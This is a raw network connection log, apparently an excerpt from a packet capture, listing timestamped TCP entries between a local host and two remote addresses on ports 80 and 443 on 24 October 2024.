Oct 24, 2024 08:38:45.550472975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550488949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550515890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550530910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550545931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550559044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550573111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550646067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550759077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550774097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550790071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550805092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550820112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550836086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550853968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550867081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550961018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.550972939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551002026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551024914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551038980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551060915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551074982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551090956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551105022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551119089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551131010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551253080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551301003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551331043 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551346064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551361084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551374912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551454067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551466942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551487923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551502943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.551517963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.553796053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.556653976 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.557172060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.557769060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.557804108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.557825089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.557852030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.558058023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.558072090 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.664645910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664666891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664683104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664697886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664813995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664832115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664844990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664860010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664853096 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.664874077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664897919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664904118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.664904118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.664949894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664964914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664979935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.664994955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665010929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665117025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665131092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665146112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665159941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665268898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665282965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665298939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665313959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665415049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665436983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665452957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665467024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665581942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665618896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665635109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665649891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665663958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665678978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665755987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665771008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665786028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665786982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.665827990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.665852070 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.665952921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665971041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.665987968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666007042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666024923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666112900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.666152954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666172028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666188002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666337967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666353941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666368961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666487932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666502953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666517973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666651964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666678905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666692972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666706085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666721106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666734934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666749001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666766882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666785955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666815042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666830063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666843891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666858912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666874886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.666985035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667162895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667237043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.667346954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667362928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667376995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667392015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667407036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667421103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667514086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667529106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667543888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667557955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667574883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667589903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667615891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667644978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667659998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667674065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667819977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667836905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.667839050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.668015957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668031931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668046951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668061018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668076038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668199062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668215036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668229103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668242931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668257952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668273926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668293953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668533087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668548107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668561935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668576956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668598890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668616056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668864012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668879032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668894053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668908119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668922901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668936014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668951035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668972969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.668994904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669040918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669056892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669186115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669198990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669214010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669228077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669240952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.669255972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.671623945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.671653032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.671675920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.671700954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.671730042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.671761990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779009104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779036045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779057026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779068947 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779072046 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779089928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779108047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779117107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779117107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779119015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779131889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779145002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779217005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779268980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779278994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779335022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779345989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779356003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779366970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779380083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779391050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779392958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779421091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779431105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779452085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779463053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779500961 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779580116 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779594898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779608011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779618979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779623985 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779630899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779654026 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779678106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779685974 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779700994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779715061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779726028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779740095 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779751062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779762983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779772997 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779773951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779797077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779814959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779822111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779839039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779880047 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779887915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779898882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779910088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779921055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779932976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.779933929 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779943943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.779980898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.780132055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780144930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780155897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780174971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780183077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.780188084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780206919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780208111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.780219078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780230045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780236006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.780267954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.780301094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:45.780668974 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.990415096 CEST	443	61045	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:45.990597010 CEST	61045	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:45.991230011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:45.996561050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265156984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265175104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265186071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265202045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265232086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265243053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265254974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265264988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265275955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265345097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265357971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265352011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265352011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265372992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265402079 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265410900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265414000 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265425920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265435934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265450001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265456915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265475988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265487909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265497923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265501022 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265528917 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265629053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265644073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265656948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265670061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265674114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265693903 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265697956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265722036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265726089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265748978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265762091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265774012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265784025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265788078 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265798092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265800953 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265810966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265835047 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265855074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265858889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265867949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265888929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265907049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265916109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265917063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265938997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.265955925 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265965939 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.265997887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266031981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266074896 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266077995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266103983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266112089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266117096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266150951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266170025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266189098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266200066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266216040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266216040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266230106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266235113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266268015 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266396046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266415119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266429901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266447067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266448975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:46.266458988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:46.266468048 CEST	61014	80	192.168.2.5	185.215.113.37
